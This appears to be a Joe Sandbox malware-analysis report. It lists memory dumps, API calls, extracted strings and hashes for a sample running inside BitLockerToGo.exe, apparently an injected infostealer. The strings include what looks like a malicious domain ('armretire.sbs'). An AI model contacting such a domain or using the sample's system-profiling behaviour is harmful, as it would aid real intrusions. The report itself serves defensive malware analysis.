Associated: 00000000.00000002.1891610446.0000000001CF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001CFE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D11000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D1C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D2C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D49000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D4E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D52000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D65000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D6A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D6F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D78000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D7E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D8C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001DA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001DAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001DBD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001DC6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001DCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001DD2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001DE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001DED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001DF8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E49000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E4D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E65000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E86000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E91000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001EA5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001EB5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001EC1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001EC5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001EC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001ECD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001ED3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001ED5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001EDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001EDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001EE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894195170.000000000260A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894209201.000000000260B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894222148.000000000260F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894233629.0000000002610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894246357.0000000002611000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894258103.0000000002613000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894268847.0000000002614000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894293243.0000000002646000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894306249.0000000002650000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894319346.0000000002651000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894331220.0000000002653000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894342057.0000000002654000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894342057.000000000265C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894342057.000000000267C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894342057.0000000002683000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894400999.0000000002686000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894417053.0000000002687000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894417053.000000000271A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_StudioDemo.jbxd

Similarity

API ID:
String ID: m->p= p->m=SCHED curg= ctxt: min= max= (...) base []bytestringnumber, val Basic CookiecookieexpectoriginserverclosedmethodExpectPragmaactivesocks5X25519netdns.localreturn.onionip+netgophertelnetSTRINGNUMBERproto2proto3Proto2Proto3sint32uint32sint64uint64do$ p->status= in status idleprocs= gcwaiting= schedtick= timerslen= mallocing=bad timedivfloat64nan1float64nan2float64nan3float32nan2GOTRACEBACK) at entry+ (targetpc= , plugin: runtime: g : frame.sp=created by %!(BADPREC)MarshalJSONMarshalTextshort write.WithCa$releasep: invalid argcheckdead: runnable gruntime: newstack at runtime: newstack sp=runtime: confused by pcHeader.textStart= timer data corruptionFloat.SetFloat64(NaN)set bit is not 0 or 1after top-level valuein string escape codebufio: negative countkey is n$releasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartunexpected key value typeExpandEnvironmentStringsWjson: Unex$releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatch%!(BADWIDTH)invalid baseshort buffercontext.TODOCookie.Valuecontent-typemax-forwardshttp2debug=1http2debug=2status code Multi-StatusNot ModifiedUnauthorizedI'm a te
API String ID: 0-1434304232
Opcode ID: 22bed7110b29e9d8f2baf679db054fc0513c1fe26602e45a9cf0bd811b8cb6ae
Instruction ID: c4d8ee5cb2c011419d26cdc108ebbea8ab32b1d2a6c5b5d9afd6bbad56856031
Opcode Fuzzy Hash: 22bed7110b29e9d8f2baf679db054fc0513c1fe26602e45a9cf0bd811b8cb6ae
Instruction Fuzzy Hash: 7541D2B45087018FD704EFA4D19561ABBE4FF88314F45886EE8888B352E734D998CFB2

Analysis Process: BitLockerToGo.exePID: 6984, Parent PID: 6740COMMON

Execution Graph

Execution Coverage:	7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	63.6%
Total number of Nodes:	247
Total number of Limit Nodes:	25

Executed Functions

Function 0043C0D9 Relevance: 25.4, APIs: 8, Strings: 6, Instructions: 940memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(=k=i), ref: 0043C130
SysAllocString.OLEAUT32(39F13B81), ref: 0043C216
VariantInit.OLEAUT32(?), ref: 0043C290
VariantClear.OLEAUT32(00000008), ref: 0043C407
SysFreeString.OLEAUT32(?), ref: 0043C42A
SysFreeString.OLEAUT32(00000000), ref: 0043C431
SysFreeString.OLEAUT32(?), ref: 0043C445
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 0043C489

Strings

B3I5, xrefs: 0043C2A6
=k=i, xrefs: 0043C12B, 0043C29E, 0043C12F
3O,A, xrefs: 0043C2BE
DG, xrefs: 0043C2CE
W7JI, xrefs: 0043C2AE
'C0E, xrefs: 0043C2C6

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: String$Free$AllocVariant$ClearInformationInitVolume
String ID: 'C0E$3O,A$=k=i$B3I5$DG$W7JI
API String ID: 4011520403-410534165
Opcode ID: a10d7679127d7fb26902ae3535be1e43426b3b4368e41bb9c7a387d9c1b83c7b
Instruction ID: c43a8e0728232324b65fb1c6ca42d79df9feb465feadac5a6717b2ba81da6768
Opcode Fuzzy Hash: a10d7679127d7fb26902ae3535be1e43426b3b4368e41bb9c7a387d9c1b83c7b
Instruction Fuzzy Hash: 3252233A618310CBD7048F38E89176BB7E1FF8A711F06897DE885872A1E779D805CB56

Function 004108F0 Relevance: 14.1, Strings: 11, Instructions: 385
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

u;H9, xrefs: 004109F5
<K*I, xrefs: 00410AD1
3{5y, xrefs: 00410AA5
P[, xrefs: 0041093A
ak, xrefs: 00410942
HI, xrefs: 00410D6C
u7|5, xrefs: 00410A00
armretire.sbs, xrefs: 00410C10
T3J1, xrefs: 00410A0B
'\, xrefs: 00410932
k?s=, xrefs: 004109EA

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: '\$3{5y$<K*I$HI$P[$T3J1$armretire.sbs$ak$k?s=$u7|5$u;H9
API String ID: 0-2828865467
Opcode ID: 7d097c18f3231f46787215051e828af78f66b93b3d4a724f03a54cd514802c6d
Instruction ID: 4cd8b651a16eb6456e271dd4971ffb6bf74aa947fc79e1b2dd0630fc54ae98f4
Opcode Fuzzy Hash: 7d097c18f3231f46787215051e828af78f66b93b3d4a724f03a54cd514802c6d
Instruction Fuzzy Hash: 59E1B8B810D3809FE3648F61D8917AFBBE5FF92304F10892CE5D94B291D7789846CB5A

Function 00431A22 Relevance: 13.7, APIs: 2, Strings: 5, Instructions: 1454COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 00431DDC

Strings

jdYI, xrefs: 00431A33
tp&q, xrefs: 00431F59
efg`, xrefs: 00432162
f@~U, xrefs: 0043298C
mgnd, xrefs: 00431F63

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: efg`$f@~U$jdYI$mgnd$tp&q
API String ID: 3960555810-903296780
Opcode ID: e3de3e4b24e51b257f4bfc252ee9038a3cb8b631afc01c2a91e274df82fb307e
Instruction ID: 3faabc4c85647a180ac15ff3734154f7b615e599f92bb333f1f6d033f930bed5
Opcode Fuzzy Hash: e3de3e4b24e51b257f4bfc252ee9038a3cb8b631afc01c2a91e274df82fb307e
Instruction Fuzzy Hash: 45A21770605781CBE3258F39C9917A3FBE2AF66304F18996EC0EB87392D779A405CB15

Function 0041E9B6 Relevance: 11.3, APIs: 1, Strings: 5, Instructions: 812
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

efg`, xrefs: 0041E9DB, 0041E9F0
RA, xrefs: 0041EF43
*, xrefs: 0041F087
p, xrefs: 0041EFAA
'';,, xrefs: 0041EB94

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: '';,$*$RA$efg`$p
API String ID: 0-629963493
Opcode ID: fa188c5f3b2aa40ed7df09e71a503c0b04a204a8585f10a5124d32eb6a7d40f3
Instruction ID: 97bfb829358eda78b0a2e86de5e40bb306db0afd422d00d4e94616f13f66a572
Opcode Fuzzy Hash: fa188c5f3b2aa40ed7df09e71a503c0b04a204a8585f10a5124d32eb6a7d40f3
Instruction Fuzzy Hash: 814204B99083408FD724DF25D8817EBB7E1EFD6304F08893DE98987391E37998458B96

Function 00426744 Relevance: 10.2, Strings: 8, Instructions: 165
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

g, xrefs: 0042680B
Y, xrefs: 0042675E
`, xrefs: 00426810
D, xrefs: 0042674F
f, xrefs: 00426806
], xrefs: 00426759
D, xrefs: 00426754
e, xrefs: 00426801

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: D$D$Y$]$`$e$f$g
API String ID: 0-2576749144
Opcode ID: 02ebe7f3fbce085e07142b7d4d1b74cf9b13b2f1c7c5daa9401504f393d5c2dc
Instruction ID: 2aa74abdb440a73bdafcf6512293b9f0a20d68b3b4065953a6ce58c9518692b3
Opcode Fuzzy Hash: 02ebe7f3fbce085e07142b7d4d1b74cf9b13b2f1c7c5daa9401504f393d5c2dc
Instruction Fuzzy Hash: A361E37260C3908FE324CA28D45076BFBE1ABD5314F19892ED4DA87392D6798845CB47

Function 0042FF9C Relevance: 9.9, Strings: 7, Instructions: 1154COMMON

Download Yara Rule

Strings

Xi]E, xrefs: 00430283
W], xrefs: 0043035A
rkUI, xrefs: 004303DC
+4-m, xrefs: 004303C8
Qi]E, xrefs: 0043022A
V>8&, xrefs: 004303D2
nLv*, xrefs: 00430A6C

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: +4-m$Qi]E$V>8&$Xi]E$nLv*$rkUI$W]
API String ID: 0-3328146804
Opcode ID: a0191862c49e45d16bc55302d7cf38991b9f53e4146bdb9b88ff6176b483a78b
Instruction ID: 39c6613fc98f821380055a6f4e28b0fe0a24f411c2368b0dd974148cbbfa2289
Opcode Fuzzy Hash: a0191862c49e45d16bc55302d7cf38991b9f53e4146bdb9b88ff6176b483a78b
Instruction Fuzzy Hash: CF7208B0104B808AE735CF35C4A07A3BBE1AF57304F189A9DD1EB5B386D7796406CB59

Function 0043C3FA Relevance: 8.2, APIs: 5, Instructions: 703
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantClear.OLEAUT32(00000008), ref: 0043C407
SysFreeString.OLEAUT32(?), ref: 0043C42A
SysFreeString.OLEAUT32(00000000), ref: 0043C431
SysFreeString.OLEAUT32(?), ref: 0043C445
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 0043C489

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: FreeString$ClearInformationVariantVolume
String ID:
API String ID: 1909038640-0
Opcode ID: 3d685105b2a4e10a6e32d4acdbdc8b48085b391cd9a94ec8d2e0676a79d3a9e2
Instruction ID: edf476f2a625d58aa93fb2c9927d3bf948b372f9c7b0cf51db09246d59ed6e28
Opcode Fuzzy Hash: 3d685105b2a4e10a6e32d4acdbdc8b48085b391cd9a94ec8d2e0676a79d3a9e2
Instruction Fuzzy Hash: 6422353A618310CFC7149F38E89136BB3E1FF4A711F0A587DD886972A1E7799805CB59

Function 0040DF60 Relevance: 5.3, Strings: 4, Instructions: 340
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\, xrefs: 0040E0E4
C3618CF548B62E72DC843ECD31EBEF54, xrefs: 0040E017
PQ, xrefs: 0040E3A3
l, xrefs: 0040DFC5

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: C3618CF548B62E72DC843ECD31EBEF54$PQ$\$l
API String ID: 0-2896800140
Opcode ID: c43ea5792dea3209016c82a06757ee77e6c1de758fd30baa2d45e6e95818d81f
Instruction ID: 3857095e7ed62b9518e2b16ac261b5426f0772a24fff54751ac0d0b8ded3fe89
Opcode Fuzzy Hash: c43ea5792dea3209016c82a06757ee77e6c1de758fd30baa2d45e6e95818d81f
Instruction Fuzzy Hash: C1C1CEB16083809FD314DF26C4917AFBBE1EB95308F148D2DE1D69B382D779850ACB5A

Function 0040F95D Relevance: 4.4, Strings: 3, Instructions: 643
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PV, xrefs: 0041055E
TJ, xrefs: 0040FA16
L/k1, xrefs: 0040FAAC

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: L/k1$PV$TJ
API String ID: 0-1099943917
Opcode ID: 0a8b6c2f5177b474a3ab0dc48d96bf977bcaff1b7d611109b73e37c4cf42cf30
Instruction ID: 06e7419c956c37c5230e578abc2ecce459abd79771400ac095fbc6a1cb50a2d9
Opcode Fuzzy Hash: 0a8b6c2f5177b474a3ab0dc48d96bf977bcaff1b7d611109b73e37c4cf42cf30
Instruction Fuzzy Hash: 785251B9610700CFD324CF25C889BAABBB1FB05310F1A86B9E45A9F7A2D7749805CF55

Function 0043C0A8 Relevance: 3.7, APIs: 2, Instructions: 697
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysFreeString.OLEAUT32(?), ref: 0043C445
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 0043C489

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: FreeInformationStringVolume
String ID:
API String ID: 983506298-0
Opcode ID: ee89160564a95f69fcbb42930e9f02483222b576a9ec6141195648cc11445117
Instruction ID: c4e295b66921793371f5902472a32f4f423022190e7cf202a1b984c78e6f1003
Opcode Fuzzy Hash: ee89160564a95f69fcbb42930e9f02483222b576a9ec6141195648cc11445117
Instruction Fuzzy Hash: BE22553A618310CBC7148F38EC9236BB3E1FF4A711F0A987DD885972A1E7799814CB49

Function 0042AF30 Relevance: 2.8, Strings: 2, Instructions: 299COMMON

Download Yara Rule

Strings

|, xrefs: 0042B1CF
y1~y, xrefs: 0042B1C7

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: y1~y$|
API String ID: 2994545307-42973575
Opcode ID: f1acad43c629220a1217becb5d018e7cf64a57a5ba2bf2e686c2143ae992dac3
Instruction ID: c3fa20a278a062077c0dcd57f7c7808faa439016a7bb732a16d5cd3c6e9c5303
Opcode Fuzzy Hash: f1acad43c629220a1217becb5d018e7cf64a57a5ba2bf2e686c2143ae992dac3
Instruction Fuzzy Hash: 85716AB2B043208BE7109F25EC92B3B7392EBD1744F59443EE88197395E77C9C15879A

Function 0043BB50 Relevance: 2.7, Strings: 2, Instructions: 245COMMON

Download Yara Rule

Strings

efg`efg`, xrefs: 0043BCBD
efg`, xrefs: 0043BDBB

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: efg`$efg`efg`
API String ID: 0-2010120567
Opcode ID: 13b2a09bc5fb6db259057d5c6e5ccacc8cec2f2215c8254d2a448d96c7af5b6b
Instruction ID: 60ae86f221606bcf8684761909ceae8bb389d62c2223d36b98c867c4f02c02bf
Opcode Fuzzy Hash: 13b2a09bc5fb6db259057d5c6e5ccacc8cec2f2215c8254d2a448d96c7af5b6b
Instruction Fuzzy Hash: F1A12731D082448FDB148BBCC4553AEBFE1EB4A310F18555FDA92A7392CB7A8941C7D6

Function 0043BE60 Relevance: 1.6, APIs: 1, Instructions: 62comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00448AA8,00000000,00000001,00448A98,00000000), ref: 0043BF4B

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 7ade375ef90a0ee10e41ba06a3427fec0e2ef3f7add29380806b3d99ad929fa8
Instruction ID: 9d297ba96a7a1c949b070aabdf3000e2130bada484b3405d66c816fe058badaf
Opcode Fuzzy Hash: 7ade375ef90a0ee10e41ba06a3427fec0e2ef3f7add29380806b3d99ad929fa8
Instruction Fuzzy Hash: 9D216DB4008341AFE310CF54D849B5BBBE4FB82714F10891CF1D44A2C1DBB699098F96

Function 00441A80 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0044520A,005C003F,00000006,?,?,00000018,?,?,?), ref: 00441AAE

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ad932b2b00559e9cb24108de1499e2b8809661d28f6ef4b94d1e3dfa2d030c47
Instruction ID: 88b266f08c8d8dc656098dc4a5309144cffe720ba9f358246b073a6e310c2786
Opcode Fuzzy Hash: ad932b2b00559e9cb24108de1499e2b8809661d28f6ef4b94d1e3dfa2d030c47
Instruction Fuzzy Hash: 47E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 00428900 Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

Ea#c, xrefs: 004289A5

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: Ea#c
API String ID: 0-2928251271
Opcode ID: dce9057311d39b73a943ab340a41a697b35b679efaa0947202d011d2d00cce2a
Instruction ID: be24759ff4312ce8b0544814543ed8cd7ae12a5ee74f21635c7b3a26a6075e0a
Opcode Fuzzy Hash: dce9057311d39b73a943ab340a41a697b35b679efaa0947202d011d2d00cce2a
Instruction Fuzzy Hash: 0841BDB0248380AFE310CF25D84175FBBE5EB82764F549A1CF4945B292DBB5C906CB9B

Function 00445770 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

@, xrefs: 004457D9

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 3048766a4f5ef777dd7a2819ef554043040ed773233ae1689cc54fc745ca3a31
Instruction ID: c257d7fbf35bd8a6959ac9ee5c780dc8530be122de10ed8b12b554137ed77e06
Opcode Fuzzy Hash: 3048766a4f5ef777dd7a2819ef554043040ed773233ae1689cc54fc745ca3a31
Instruction Fuzzy Hash: 1A3103310087048FD704EF18C881A6BBBF5FF95354F04882DEA8487292DB399918CB5A

Function 0041CA15 Relevance: .4, Instructions: 442COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43c633b67092143d15167c5acc1ec48e189aa4a0e8aff38c125c600d805ff989
Instruction ID: 6728c5e7434657b97f62b81dc601f48a7d0b47ca1c4c49bde855eec9539be02e
Opcode Fuzzy Hash: 43c633b67092143d15167c5acc1ec48e189aa4a0e8aff38c125c600d805ff989
Instruction Fuzzy Hash: 25A15272988210C7C7249F54EC926B7B3A2FFA5354F1D412EE88657390E7B9AC41C389

Function 0042FA20 Relevance: .4, Instructions: 438COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2027146622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51c6d633db7a2f56b18d9ed07ddd34e624dab06721e09668d63d70c45b15f66f
Instruction ID: fd782672bb96966f6f8eb54abdbd8145625a2870685e0e411b3a2f91e3987a85
